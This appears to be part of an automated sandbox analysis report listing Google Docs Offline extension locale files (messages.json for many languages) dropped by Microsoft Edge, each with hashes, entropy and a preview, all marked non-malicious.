SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
